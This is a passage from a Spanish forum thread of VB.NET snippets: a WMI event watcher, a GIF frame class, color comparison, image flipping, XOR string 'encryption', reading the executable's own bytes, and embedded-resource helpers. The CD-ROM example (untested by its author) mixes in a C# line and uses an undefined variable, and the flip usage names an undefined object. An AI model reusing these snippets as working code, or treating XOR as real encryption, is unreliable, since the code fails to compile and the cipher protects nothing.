  340.        Public Sub New(ByVal query As SelectQuery,
  341.                       ByVal groupWithinInterval As UInteger)
  342.  
  343.            Dim strArray As String() = New String(query.SelectedProperties.Count - 1) {}
  344.            query.SelectedProperties.CopyTo(strArray, 0)
  345.  
  346.            MyBase.Query = New WqlEventQuery(eventClassName:=query.ClassName,
  347.                                             condition:=query.Condition,
  348.                                             groupWithinInterval:=TimeSpan.FromSeconds(groupWithinInterval),
  349.                                             groupByPropertyList:=strArray)
  350.  
  351.        End Sub
  352.  
  353. #End Region
  354.  
  355.    End Class
  356.  
  357. #End Region

Ejemplo de uso para subscribirnos a la class Win32_VolumeChangeEvent, la cual nos informa de cambios de volumen, del montaje y desmontaje de particiones del sistema:

Código
  1. Public NotInheritable Class Form1 : Inherits Form
  2.  
  3.    Private WithEvents eventWatcher As New WMIEventWatcher("Win32_VolumeChangeEvent", withinInterval:=0.5F)
  4.  
  5.    Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles Me.Load
  6.        Me.eventWatcher.Scope = New ManagementScope("root\CIMV2", New ConnectionOptions() With {.EnablePrivileges = True})
  7.        Me.eventWatcher.Start()
  8.    End Sub
  9.  
  10.    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As FormClosingEventArgs) Handles Me.FormClosing
  11.        Me.eventWatcher.Dispose()
  12.    End Sub
  13.  
  14.    Private Sub EventWatcher_EventArrived(ByVal sender As Object, ByVal e As EventArrivedEventArgs) _
  15.    Handles eventWatcher.EventArrived
  16.        Dim driveName As String = CStr(e.NewEvent.Properties("DriveName").Value)
  17.        Dim eventType As Integer = CInt(e.NewEvent.Properties("EventType").Value)
  18.  
  19.        Console.WriteLine(String.Format("Drive Name: {0}", driveName))
  20.        Console.WriteLine(String.Format("Event Type: {0}", eventType))
  21.    End Sub
  22.  
  23. End Class

Ejemplo de uso para subscribirnos a la class Win32_LogicalDisk, mediante la cual con el uso de una condición en la consulta de WMI, nos reportará cambios de inserción y eyección en dispositivos de CD-ROM:

Código
  1. Public Class Form1 : Inherits Form
  2.  
  3.    Private WithEvents eventWatcher As New WMIEventWatcher(
  4.        "__InstanceModificationEvent",
  5.        condition:="TargetInstance ISA 'Win32_LogicalDisk' and TargetInstance.DriveType = 5",
  6.        withinInterval:=0.5F
  7.    )
  8.  
  9.    Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles Me.Load
  10.        Me.eventWatcher.Scope = New ManagementScope("root\CIMV2", New ConnectionOptions() With {.EnablePrivileges = True})
  11.        Me.eventWatcher.Start()
  12.    End Sub
  13.  
  14.    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As FormClosingEventArgs) Handles Me.FormClosing
  15.        Me.eventWatcher.Dispose()
  16.    End Sub
  17.  
  18.    Private Sub EventWatcher_EventArrived(ByVal sender As Object, ByVal e As EventArrivedEventArgs) Handles eventWatcher.EventArrived
  19.  
  20.        Using mo As ManagementBaseObject = DirectCast(pd.Value, ManagementBaseObject)
  21.  
  22.            Dim name As String = Convert.ToString(mo.Properties("Name").Value)
  23.            string label = Convert.ToString(mo.Properties("VolumeName").Value);
  24.  
  25.            Dim di As DriveInfo = (From item In DriveInfo.GetDrives()
  26.                                   Where String.IsNullOrEmpty(item.Name)
  27.                                  ).Single()
  28.  
  29.            If Not String.IsNullOrEmpty(di.VolumeLabel) Then
  30.  
  31.                Console.WriteLine(String.Format("CD has been inserted in drive {0}.", di.Name))
  32.            Else
  33.  
  34.                Console.WriteLine(String.Format("CD has been ejected from drive {0}.", di.Name))
  35.  
  36.            End If
  37.  
  38.        End Using
  39.  
  40.    End Sub
  41.  
  42. End Class
Nota: No he podido testear el ejemplo del dispositivo CD-ROM.



Todas estas funcionalidades y muchísimas más las podrán encontrar en mi Framework de pago ElektroKit.


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 2 Abril 2017, 22:36 pm
¿Cómo manipular imágenes GIF animadas?

La librería de clases de .NET Framework no expone ningún tipo para representar de forma específica una imagen GIF. Tenemos el tipo Bitmap, Icon, e Image para representar de forma global cualquier tipo de imagen (incluyendo un GIF). Pero... ¿y si queremos representar de forma específica una imagen GIF con todos sus frames?, pues esta clase que he desarrollado sería un buen comienzo para llevarlo a cabo:

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 02-April-2017
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. #Region " Constructors "
  9.  
  10. ' New(String)
  11. ' New(FileInfo)
  12. ' New(Image)
  13.  
  14. #End Region
  15.  
  16. #Region " Properties "
  17.  
  18. ' Image As Image
  19. ' FrameCount As Integer
  20. ' Frames(Integer) As Bitmap
  21. ' ActiveFrame As Bitmap
  22. ' ActiveFrameIndex As Integer
  23. ' EndOfFrames As Boolean
  24.  
  25. #End Region
  26.  
  27. #Region " Functions "
  28.  
  29. ' NextFrame() As Bitmap
  30. ' GetFrames() As List(Of Bitmap)
  31.  
  32. #End Region
  33.  
  34. #End Region
  35.  
  36. #Region " Option Statements "
  37.  
  38. Option Strict On
  39. Option Explicit On
  40. Option Infer Off
  41.  
  42. #End Region
  43.  
  44. #Region " Imports "
  45.  
  46. Imports System.Drawing
  47. Imports System.Drawing.Imaging
  48. Imports System.IO
  49.  
  50. #End Region
  51.  
  52. #Region " GIF "
  53.  
  54.    ''' ----------------------------------------------------------------------------------------------------
  55.    ''' <summary>
  56.    ''' Represents a GIF image.
  57.    ''' </summary>
  58.    ''' ----------------------------------------------------------------------------------------------------
  59.    Public Class GIF
  60.  
  61. #Region " Properties "
  62.  
  63.        ''' ----------------------------------------------------------------------------------------------------
  64.        ''' <summary>
  65.        ''' Gets the GIF image.
  66.        ''' </summary>
  67.        ''' ----------------------------------------------------------------------------------------------------
  68.        ''' <value>
  69.        ''' The GIF image.
  70.        ''' </value>
  71.        ''' ----------------------------------------------------------------------------------------------------
  72.        Public ReadOnly Property Image As Image
  73.  
  74.        ''' ----------------------------------------------------------------------------------------------------
  75.        ''' <summary>
  76.        ''' Gets the frame count of the GIF image.
  77.        ''' </summary>
  78.        ''' ----------------------------------------------------------------------------------------------------
  79.        ''' <value>
  80.        ''' The frame count of the GIF image.
  81.        ''' </value>
  82.        ''' ----------------------------------------------------------------------------------------------------
  83.        Public ReadOnly Property FrameCount As Integer
  84.  
  85.        ''' ----------------------------------------------------------------------------------------------------
  86.        ''' <summary>
  87.        ''' Gets the frame at the specified index.
  88.        ''' </summary>
  89.        ''' ----------------------------------------------------------------------------------------------------
  90.        ''' <value>
  91.        ''' The frame index.
  92.        ''' </value>
  93.        ''' ----------------------------------------------------------------------------------------------------
  94.        Default Public Overridable ReadOnly Property Frames(ByVal index As Integer) As Bitmap
  95.            <DebuggerStepperBoundary>
  96.            Get
  97.                Using img As Image = DirectCast(Me.Image.Clone(), Image)
  98.                    img.SelectActiveFrame(FrameDimension.Time, index)
  99.                    Return New Bitmap(img) ' Deep copy of the frame (only the frame).
  100.                End Using
  101.            End Get
  102.        End Property
  103.  
  104.        ''' ----------------------------------------------------------------------------------------------------
  105.        ''' <summary>
  106.        ''' Gets the active frame.
  107.        ''' </summary>
  108.        ''' ----------------------------------------------------------------------------------------------------
  109.        ''' <value>
  110.        ''' The active frame.
  111.        ''' </value>
  112.        ''' ----------------------------------------------------------------------------------------------------
  113.        Public Overridable ReadOnly Property ActiveFrame As Bitmap
  114.            <DebuggerStepperBoundary>
  115.            Get
  116.                Return New Bitmap(Me.Image) ' Deep copy of the frame (only the frame).
  117.            End Get
  118.        End Property
  119.  
  120.        ''' ----------------------------------------------------------------------------------------------------
  121.        ''' <summary>
  122.        ''' Gets the index in the frame count of the current active frame.
  123.        ''' </summary>
  124.        ''' ----------------------------------------------------------------------------------------------------
  125.        ''' <value>
  126.        ''' The index in the frame count of the current active frame.
  127.        ''' </value>
  128.        ''' ----------------------------------------------------------------------------------------------------
  129.        Public Property ActiveFrameIndex As Integer
  130.            <DebuggerStepThrough>
  131.            Get
  132.                Return Me.activeFrameIndexB
  133.            End Get
  134.            <DebuggerStepperBoundary>
  135.            Set(ByVal value As Integer)
  136.                If (value <> Me.activeFrameIndexB) Then
  137.                    Me.Image.SelectActiveFrame(FrameDimension.Time, value)
  138.                    Me.activeFrameIndexB = value
  139.                    Me.eof = (value = Me.FrameCount)
  140.                End If
  141.            End Set
  142.        End Property
  143.        ''' ----------------------------------------------------------------------------------------------------
  144.        ''' <summary>
  145.        ''' ( Backing Field )
  146.        ''' The index in the frame count of the current active frame.
  147.        ''' </summary>
  148.        ''' ----------------------------------------------------------------------------------------------------
  149.        Private activeFrameIndexB As Integer
  150.  
  151.        ''' ----------------------------------------------------------------------------------------------------
  152.        ''' <summary>
  153.        ''' Gets a value indicating whether the frame count is at EOF,
  154.        ''' this means there is no more frames to advance in the GIF image.
  155.        ''' </summary>
  156.        ''' ----------------------------------------------------------------------------------------------------
  157.        ''' <value>
  158.        ''' <see langword="True"/> if there is no more frames to advance in the GIF image; otherwise, <see langword="False"/>.
  159.        ''' </value>
  160.        ''' ----------------------------------------------------------------------------------------------------
  161.        Public ReadOnly Property EndOfFrames As Boolean
  162.            <DebuggerStepThrough>
  163.            Get
  164.                Return Me.eof
  165.            End Get
  166.        End Property
  167.        ''' ----------------------------------------------------------------------------------------------------
  168.        ''' <summary>
  169.        ''' ( Backing Field )
  170.        ''' A value indicating whether the frame count is at EOF,
  171.        ''' this means there is no more frames to advance in the GIF image.
  172.        ''' </summary>
  173.        ''' ----------------------------------------------------------------------------------------------------
  174.        Private eof As Boolean
  175.  
  176. #End Region
  177.  
  178. #Region " Constructors "
  179.  
  180.        ''' ----------------------------------------------------------------------------------------------------
  181.        ''' <summary>
  182.        ''' Prevents a default instance of the <see cref="GIF"/> class from being created.
  183.        ''' </summary>
  184.        ''' ----------------------------------------------------------------------------------------------------
  185.        <DebuggerNonUserCode>
  186.        Private Sub New()
  187.        End Sub
  188.  
  189.        ''' ----------------------------------------------------------------------------------------------------
  190.        ''' <summary>
  191.        ''' Initializes a new instance of the <see cref="GIF"/> class.
  192.        ''' </summary>
  193.        ''' ----------------------------------------------------------------------------------------------------
  194.        ''' <param name="filepath">
  195.        ''' The filepath.
  196.        ''' </param>
  197.        ''' ----------------------------------------------------------------------------------------------------
  198.        <DebuggerStepThrough>
  199.        Public Sub New(ByVal filepath As String)
  200.  
  201.            Me.New(Image.FromFile(filepath))
  202.  
  203.        End Sub
  204.  
  205.        ''' ----------------------------------------------------------------------------------------------------
  206.        ''' <summary>
  207.        ''' Initializes a new instance of the <see cref="GIF"/> class.
  208.        ''' </summary>
  209.        ''' ----------------------------------------------------------------------------------------------------
  210.        ''' <param name="file">
  211.        ''' The image file.
  212.        ''' </param>
  213.        ''' ----------------------------------------------------------------------------------------------------
  214.        <DebuggerStepThrough>
  215.        Public Sub New(ByVal file As FileInfo)
  216.  
  217.            Me.New(Image.FromFile(file.FullName))
  218.  
  219.        End Sub
  220.  
  221.        ''' ----------------------------------------------------------------------------------------------------
  222.        ''' <summary>
  223.        ''' Initializes a new instance of the <see cref="GIF"/> class.
  224.        ''' </summary>
  225.        ''' ----------------------------------------------------------------------------------------------------
  226.        ''' <param name="img">
  227.        ''' The image.
  228.        ''' </param>
  229.        ''' ----------------------------------------------------------------------------------------------------
  230.        <DebuggerStepThrough>
  231.        Public Sub New(ByVal img As Image)
  232.  
  233.            Me.Image = img
  234.            Me.FrameCount = Me.Image.GetFrameCount(FrameDimension.Time)
  235.  
  236.        End Sub
  237.  
  238. #End Region
  239.  
  240. #Region " Public Methods "
  241.  
  242.        ''' ----------------------------------------------------------------------------------------------------
  243.        ''' <summary>
  244.        ''' Advances one position in the frame count and returns the next frame.
  245.        ''' </summary>
  246.        ''' ----------------------------------------------------------------------------------------------------
  247.        ''' <returns>
  248.        ''' The next frame.
  249.        ''' </returns>
  250.        ''' ----------------------------------------------------------------------------------------------------
  251.        <DebuggerStepThrough>
  252.        Public Overridable Function NextFrame() As Bitmap
  253.  
  254.            If (Me.eof) Then
  255.                Throw New IndexOutOfRangeException()
  256.  
  257.            Else
  258.                Dim frame As Bitmap = Me.Frames(Me.activeFrameIndexB)
  259.                Me.activeFrameIndexB += 1
  260.                Me.eof = (Me.activeFrameIndexB >= Me.FrameCount)
  261.                Return frame
  262.  
  263.            End If
  264.  
  265.        End Function
  266.  
  267.        ''' ----------------------------------------------------------------------------------------------------
  268.        ''' <summary>
  269.        ''' Gets a <see cref="List(Of Bitmap)"/> containing all the frames in the image.
  270.        ''' </summary>
  271.        ''' ----------------------------------------------------------------------------------------------------
  272.        ''' <returns>
  273.        ''' A <see cref="List(Of Bitmap)"/> containing all the frames in the image.
  274.        ''' </returns>
  275.        ''' ----------------------------------------------------------------------------------------------------
  276.        <DebuggerStepThrough>
  277.        Public Overridable Function GetFrames() As List(Of Bitmap)
  278.  
  279.            Using img As Image = DirectCast(Me.Image.Clone(), Image)
  280.                Return GetFramesFromImage(img)
  281.            End Using
  282.  
  283.        End Function
  284.  
  285. #End Region
  286.  
  287. #Region " Private Methods "
  288.  
  289.        ''' ----------------------------------------------------------------------------------------------------
  290.        ''' <summary>
  291.        ''' Gets a <see cref="List(Of Bitmap)"/> containing all the frames in the source GIF image.
  292.        ''' </summary>
  293.        ''' ----------------------------------------------------------------------------------------------------
  294.        ''' <param name="img">
  295.        ''' The source <see cref="Image"/>.
  296.        ''' </param>
  297.        ''' ----------------------------------------------------------------------------------------------------
  298.        ''' <returns>
  299.        ''' The resulting percentage difference value between the two specified images.
  300.        ''' </returns>
  301.        ''' ----------------------------------------------------------------------------------------------------
  302.        Private Shared Function GetFramesFromImage(ByVal img As Image) As List(Of Bitmap)
  303.  
  304.            Dim imgs As New List(Of Bitmap)
  305.            Dim frameCount As Integer = img.GetFrameCount(FrameDimension.Time)
  306.  
  307.            For i As Integer = 0 To (frameCount - 1)
  308.                img.SelectActiveFrame(FrameDimension.Time, i)
  309.                imgs.Add(New Bitmap(img)) ' Deep copy of the frame (only the frame).
  310.            Next
  311.  
  312.            Return imgs
  313.  
  314.        End Function
  315.  
  316. #End Region
  317.  
  318.    End Class
  319.  
  320. #End Region
  321.  

Ejemplos de uso:
Código
  1. Dim pcb As PictureBox = Me.PictureBox1
  2. Dim gif As New GIF("C:\File.gif")
  3.  
  4. Do Until gif.EndOfFrames ' Iterate frames until the end of frame count.
  5.  
  6.    ' Free previous Bitmap object.
  7.    If (pcb.Image IsNot Nothing) Then
  8.        pcb.Image.Dispose()
  9.        pcb.Image = Nothing
  10.    End If
  11.  
  12.    pcb.Image = gif.NextFrame()
  13.    Thread.Sleep(60) ' Simulate a FPS thingy.
  14.    Application.DoEvents()
  15.  
  16.    If (gif.EndOfFrames) Then
  17.        ' Set active frame to 0 for infinite loop:
  18.        gif.ActiveFrameIndex = 0
  19.    End If
  20.  
  21. Loop

Nótese que el método GIF.GetFrames() devuelve una colección de Bitmaps con todos los frames de la imagen GIF. Las posibilidades son infinitas con esta colección, podemos añadir, editar o eliminar frames para crear un nuevo GIF, o simplemente mostrar la secuencia de frames...

¡Saludos!


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 7 Abril 2017, 06:16 am
Determinar si dos colores son similares

Código
  1.    ''' ----------------------------------------------------------------------------------------------------
  2.    ''' <summary>
  3.    ''' Determines whether two colors are similar.
  4.    ''' <para></para>
  5.    ''' It compares the RGB channel differences to match inside the range of the specified tolerance values.
  6.    ''' </summary>
  7.    ''' ----------------------------------------------------------------------------------------------------
  8.    ''' <param name="color1">
  9.    ''' The first color to compare.
  10.    ''' </param>
  11.    '''
  12.    ''' <param name="color2">
  13.    ''' The second color to compare.
  14.    ''' </param>
  15.    '''
  16.    ''' <param name="toleranceR">
  17.    ''' The tolerance of the Red color channel.
  18.    ''' From 0 to 255.
  19.    ''' </param>
  20.    '''
  21.    ''' <param name="toleranceG">
  22.    ''' The tolerance of the Green color channel.
  23.    ''' From 0 to 255.
  24.    ''' </param>
  25.    '''
  26.    ''' <param name="toleranceB">
  27.    ''' The tolerance of the Blue color channel.
  28.    ''' From 0 to 255.
  29.    ''' </param>
  30.    ''' ----------------------------------------------------------------------------------------------------
  31.    ''' <returns>
  32.    ''' <see langword="True"/> if the colors are similar,
  33.    ''' this means the RGB differences matches inside the range of the specified tolerance value,
  34.    ''' <see langword="False"/> otherwise.
  35.    ''' </returns>
  36.    ''' ----------------------------------------------------------------------------------------------------
  37.    Public Shared Function IsColorSimilar(ByVal color1 As Color, ByVal color2 As Color,
  38.                                          ByVal toleranceR As Byte, ByVal toleranceG As Byte, ByVal toleranceB As Byte) As Boolean
  39.  
  40.        Return Math.Abs(CInt(color1.R) - color2.R) <= toleranceR AndAlso
  41.               Math.Abs(CInt(color1.G) - color2.G) <= toleranceG AndAlso
  42.               Math.Abs(CInt(color1.B) - color2.B) <= toleranceB
  43.  
  44.    End Function

Modo de empleo:
Código
  1. Dim areSimilar As Boolean = IsColorSimilar(Color.FromArgb(0, 0, 0), Color.FromArgb(0, 0, 1),
  2.                                           toleranceR:=0, toleranceG:=0, toleranceB:=1)
  3. ' Result: True

Código
  1.    ''' ----------------------------------------------------------------------------------------------------
  2.    ''' <summary>
  3.    ''' Determines whether two colors are similar.
  4.    ''' <para></para>
  5.    ''' It compares the RGB channel difference to match inside the range of the specified tolerance value.
  6.    ''' </summary>
  7.    ''' ----------------------------------------------------------------------------------------------------
  8.    ''' <param name="color1">
  9.    ''' The first color to compare.
  10.    ''' </param>
  11.    '''
  12.    ''' <param name="color2">
  13.    ''' The second color to compare.
  14.    ''' </param>
  15.    '''
  16.    ''' <param name="tolerance">
  17.    ''' The global tolerance of the RGB color channels.
  18.    ''' From 0 to 255.
  19.    ''' </param>
  20.    ''' ----------------------------------------------------------------------------------------------------
  21.    ''' <returns>
  22.    ''' <see langword="True"/> if the colors are similar,
  23.    ''' this means the RGB differences matches inside the range of the specified tolerance value,
  24.    ''' <see langword="False"/> otherwise.
  25.    ''' </returns>
  26.    ''' ----------------------------------------------------------------------------------------------------
  27.    Public Shared Function IsColorSimilar(ByVal color1 As Color, ByVal color2 As Color, ByVal tolerance As Byte) As Boolean
  28.  
  29.        Return (Math.Abs(CInt(color1.R) - color2.R) +
  30.                Math.Abs(CInt(color1.G) - color2.G) +
  31.                Math.Abs(CInt(color1.B) - color2.B)) <= tolerance
  32.  
  33.    End Function

Modo de empleo :

Código
  1. Dim result1 As Boolean = IsColorSimilar(Color.FromArgb(0, 0, 0), Color.FromArgb(0, 0, 1), tolerance:=1)
  2. ' Result: True
  3. '  Logic: Blue channel difference = 1, which is equal than the specified tolerance value.
  4.  
  5. Dim result2 As Boolean = IsColorSimilar(Color.FromArgb(0, 0, 0), Color.FromArgb(0, 1, 1), tolerance:=1)
  6. ' Result: False
  7. '  Logic: Red channel + Blue channel differences = 2, which is a bigger value than the specified tolerance value.



Voltear una imagen

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Specifies a flip type operation to perform for an image.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. Public Enum FlipType As Integer
  7.  
  8.    ''' <summary>
  9.    ''' Horizontal flip.
  10.    ''' </summary>
  11.    Horizontal = 1
  12.  
  13.    ''' <summary>
  14.    ''' Vertical flip.
  15.    ''' </summary>
  16.    Vertical = 2
  17.  
  18.    ''' <summary>
  19.    ''' Both a horizontal and vertical flip.
  20.    ''' </summary>
  21.    Both = 3
  22.  
  23. End Enum
  24.  
  25. public module ImageExtensions
  26.  
  27. ''' ----------------------------------------------------------------------------------------------------
  28. ''' <summary>
  29. ''' Flips an <see cref="Image"/>.
  30. ''' </summary>
  31. ''' ----------------------------------------------------------------------------------------------------
  32. ''' <param name="sender">
  33. ''' The source <see cref="Image"/>.
  34. ''' </param>
  35. '''
  36. ''' <param name="fliptype">
  37. ''' The flip type operation to perform.
  38. ''' </param>
  39. ''' ----------------------------------------------------------------------------------------------------
  40. ''' <returns>
  41. ''' The resulting <see cref="Image"/>.
  42. ''' </returns>
  43. ''' ----------------------------------------------------------------------------------------------------
  44. <Extension>
  45. <DebuggerStepThrough>
  46. <EditorBrowsable(EditorBrowsableState.Always)>
  47. Public Function Flip(ByVal sender As Image, ByVal fliptype As FlipType) As Image
  48.  
  49.    Dim flippedImage As New Bitmap(sender.Width, sender.Height, sender.PixelFormat)
  50.  
  51.    Using g As Graphics = Graphics.FromImage(flippedImage)
  52.  
  53.        Dim m As Matrix = Nothing
  54.        Select Case fliptype
  55.            Case FlipType.Horizontal
  56.                m = New Matrix(-1, 0, 0, 1, 0, 0)
  57.                m.Translate(flippedImage.Width, 0, MatrixOrder.Append)
  58.  
  59.            Case FlipType.Vertical
  60.                m = New Matrix(1, 0, 0, -1, 0, 0)
  61.                m.Translate(0, flippedImage.Height, MatrixOrder.Append)
  62.  
  63.            Case FlipType.Both
  64.                m = New Matrix(-1, 0, 0, -1, 0, 0)
  65.                m.Translate(flippedImage.Width, flippedImage.Height, MatrixOrder.Append)
  66.        End Select
  67.  
  68.        ' Draw
  69.        g.Transform = m
  70.        g.DrawImage(sender, 0, 0)
  71.  
  72.        'clean up
  73.        m.Dispose()
  74.    End Using
  75.  
  76.    Return flippedImage
  77.  
  78. End Function
  79.  
  80. end module

Modo de empleo:

Código
  1. dim img as image = image.fromfile("C:\file.png")
  2. dim flipped as image=  imf.Flip(FlipType.Vertical)



Cifrado XOR

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Encrypts or decrypts a string using XOR algorithm.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <param name="text">
  7. ''' The text to encrypt.
  8. ''' </param>
  9. '''
  10. ''' <param name="key">
  11. ''' The key to use for encryption of decryption.
  12. ''' </param>
  13. ''' ----------------------------------------------------------------------------------------------------
  14. ''' <returns>
  15. ''' The encrypted string.
  16. ''' </returns>
  17. ''' ----------------------------------------------------------------------------------------------------
  18. <DebuggerStepThrough>
  19. Public Shared Function XorEncryptOrDecrypt(ByVal text As String, ByVal key As Integer) As String
  20.  
  21.    Dim sb As New StringBuilder(text.Length, text.Length)
  22.    For Each c As Char In text
  23.        ' Get the ASCII value of the character.
  24.        Dim charValue As Integer = Convert.ToInt32(c)
  25.        ' XOR the value.
  26.        charValue = (charValue Xor key)
  27.        ' Convert back to string.
  28.        sb.Append(Char.ConvertFromUtf32(charValue))
  29.    Next
  30.  
  31.    Return sb.ToString()
  32.  
  33. End Function

Modo de empleo:
Código
  1. Dim str As String = "Hello World"
  2. Dim encrypted As String = XorEncryptOrDecrypt(str, 1)       ' Result: "Idmmn!Vnsme"
  3. Dim decrypted As String = XorEncryptOrDecrypt(encrypted, 1) ' Result: "Hello World"



Obtener un array con los bytes del archivo de la aplicación actual

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Gets the bytes of the local file that points to the running assembly.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <value>
  7. ''' A <see cref="Byte()"/> array containing the bytes of the local file that points to the running assembly.
  8. ''' </value>
  9. ''' ----------------------------------------------------------------------------------------------------
  10. Public Shared ReadOnly Property SelfBytes As Byte()
  11.    <DebuggerStepThrough>
  12.    Get
  13.        Using fs As FileStream = File.OpenRead(System.Windows.Forms.Application.ExecutablePath)
  14.            Dim exeBytes As Byte() = New Byte(CInt(fs.Length - 1)) {}
  15.            fs.Read(exeBytes, 0, exeBytes.Length)
  16.            Return exeBytes
  17.        End Using
  18.    End Get
  19. End Property

Modo de empleo:
Código
  1. Dim selfBytes As Byte() = SelfBytes()



Obtener recursos embedidos en un ensamblado .NET

Código
  1. Partial Public NotInheritable Class ResourceUtil
  2.  
  3.    ''' ----------------------------------------------------------------------------------------------------
  4.    ''' <summary>
  5.    ''' Gets an embedded resource in the specified <see cref="Assembly"/>.
  6.    ''' </summary>
  7.    ''' ----------------------------------------------------------------------------------------------------
  8.    ''' <param name="name">
  9.    ''' The name of the resource.
  10.    ''' </param>
  11.    '''
  12.    ''' <param name="ass">
  13.    ''' The <see cref="Assembly"/> to look for the resource.
  14.    ''' </param>
  15.    ''' ----------------------------------------------------------------------------------------------------
  16.    ''' <returns>
  17.    ''' A <see cref="Byte()"/> array containing the bytes of the embedded resource.
  18.    ''' </returns>
  19.    ''' ----------------------------------------------------------------------------------------------------
  20.    Public Shared Function GetEmbeddedResource(ByVal name As String, ByVal ass As Assembly) As Byte()
  21.  
  22.        name = ResourceUtil.FormatResourceName(name, ass)
  23.  
  24.        Using resx As Stream = ass.GetManifestResourceStream(name)
  25.  
  26.            If (resx Is Nothing) Then
  27.                Throw New Exception("Resource not found in the specified .NET assembly.")
  28.  
  29.            Else
  30.                Dim content As Byte() = New Byte(CInt(resx.Length - 1)) {}
  31.                resx.Read(content, 0, content.Length)
  32.                Return content
  33.  
  34.            End If
  35.  
  36.        End Using
  37.  
  38.    End Function
  39.  
  40.    ''' ----------------------------------------------------------------------------------------------------
  41.    ''' <summary>
  42.    ''' Gets an embedded resource in the calling assembly.
  43.    ''' </summary>
  44.    ''' ----------------------------------------------------------------------------------------------------
  45.    ''' <param name="name">
  46.    ''' The name of the resource.
  47.    ''' </param>
  48.    ''' ----------------------------------------------------------------------------------------------------
  49.    ''' <returns>
  50.    ''' A <see cref="Byte()"/> array containing the bytes of the embedded resource.
  51.    ''' </returns>
  52.    ''' ----------------------------------------------------------------------------------------------------
  53.    Public Shared Function GetEmbeddedResource(ByVal name As String) As Byte()
  54.  
  55.        Return ResourceUtil.GetEmbeddedResource(name, Assembly.GetCallingAssembly())
  56.  
  57.    End Function
  58.  
  59.    ''' ----------------------------------------------------------------------------------------------------
  60.    ''' <summary>
  61.    ''' Gets an embedded resource of type <see cref="String"/> in the specified <see cref="Assembly"/>.
  62.    ''' </summary>
  63.    ''' ----------------------------------------------------------------------------------------------------
  64.    ''' <param name="name">
  65.    ''' The name of the resource.
  66.    ''' </param>
  67.    '''
  68.    ''' <param name="ass">
  69.    ''' The <see cref="Assembly"/> to look for the resource.
  70.    ''' </param>
  71.    ''' ----------------------------------------------------------------------------------------------------
  72.    ''' <returns>
  73.    ''' The embedded resource as <see cref="String"/>.
  74.    ''' </returns>
  75.    ''' ----------------------------------------------------------------------------------------------------
  76.    Public Shared Function GetEmbeddedResourceAsString(ByVal name As String, ByVal ass As Assembly, Optional ByVal enc As Encoding = Nothing) As String
  77.  
  78.        If (enc Is Nothing) Then
  79.            enc = Encoding.Default
  80.        End If
  81.  
  82.        name = ResourceUtil.FormatResourceName(name, ass)
  83.  
  84.        Using resx As Stream = ass.GetManifestResourceStream(name)
  85.  
  86.            If (resx Is Nothing) Then
  87.                Throw New Exception("Resource not found in the specified .NET assembly.")
  88.            Else
  89.                Using reader As New StreamReader(resx, enc)
  90.                    Return reader.ReadToEnd()
  91.                End Using
  92.            End If
  93.  
  94.        End Using
  95.  
  96.    End Function
  97.  
  98.    ''' ----------------------------------------------------------------------------------------------------
  99.    ''' <summary>
  100.    ''' Gets an embedded resource of type <see cref="String"/> in the calling assembly.
  101.    ''' </summary>
  102.    ''' ----------------------------------------------------------------------------------------------------
  103.    ''' <param name="name">
  104.    ''' The name of the resource.
  105.    ''' </param>
  106.    ''' ----------------------------------------------------------------------------------------------------
  107.    ''' <returns>
  108.    ''' The embedded resource as <see cref="String"/>.
  109.    ''' </returns>
  110.    ''' ----------------------------------------------------------------------------------------------------
  111.    Public Shared Function GetEmbeddedResourceAsString(ByVal name As String, Optional ByVal enc As Encoding = Nothing) As String
  112.  
  113.        Return ResourceUtil.GetEmbeddedResourceAsString(name, Assembly.GetCallingAssembly(), enc)
  114.  
  115.    End Function
  116.  
  117.    ''' ----------------------------------------------------------------------------------------------------
  118.    ''' <summary>
  119.    ''' Gets an embedded resource of type <see cref="Image"/> in the specified <see cref="Assembly"/>.
  120.    ''' </summary>
  121.    ''' ----------------------------------------------------------------------------------------------------
  122.    ''' <param name="name">
  123.    ''' The name of the resource.
  124.    ''' </param>
  125.    '''
  126.    ''' <param name="ass">
  127.    ''' The <see cref="Assembly"/> to look for the resource.
  128.    ''' </param>
  129.    ''' ----------------------------------------------------------------------------------------------------
  130.    ''' <returns>
  131.    ''' The embedded resource as <see cref="Image"/>.
  132.    ''' </returns>
  133.    ''' ----------------------------------------------------------------------------------------------------
  134.    Public Shared Function GetEmbeddedResourceAsImage(ByVal name As String, ByVal ass As Assembly) As Image
  135.  
  136.        name = ResourceUtil.FormatResourceName(name, ass)
  137.  
  138.        Using resx As Stream = ass.GetManifestResourceStream(name)
  139.  
  140.            If (resx Is Nothing) Then
  141.                Throw New Exception("Resource not found in the specified .NET assembly.")
  142.            Else
  143.                Using ms As New MemoryStream()
  144.                    resx.CopyTo(ms)
  145.                    Return Image.FromStream(ms)
  146.                End Using
  147.  
  148.            End If
  149.  
  150.        End Using
  151.  
  152.    End Function
  153.  
  154.    ''' ----------------------------------------------------------------------------------------------------
  155.    ''' <summary>
  156.    ''' Gets an embedded resource of type <see cref="Image"/> in the calling assembly.
  157.    ''' </summary>
  158.    ''' ----------------------------------------------------------------------------------------------------
  159.    ''' <param name="name">
  160.    ''' The name of the resource.
  161.    ''' </param>
  162.    ''' ----------------------------------------------------------------------------------------------------
  163.    ''' <returns>
  164.    ''' The embedded resource as <see cref="Image"/>.
  165.    ''' </returns>
  166.    ''' ----------------------------------------------------------------------------------------------------
  167.    Public Shared Function GetEmbeddedResourceAsImage(ByVal name As String) As Image
  168.  
  169.        Return ResourceUtil.GetEmbeddedResourceAsImage(name, Assembly.GetCallingAssembly())
  170.  
  171.    End Function
  172.  
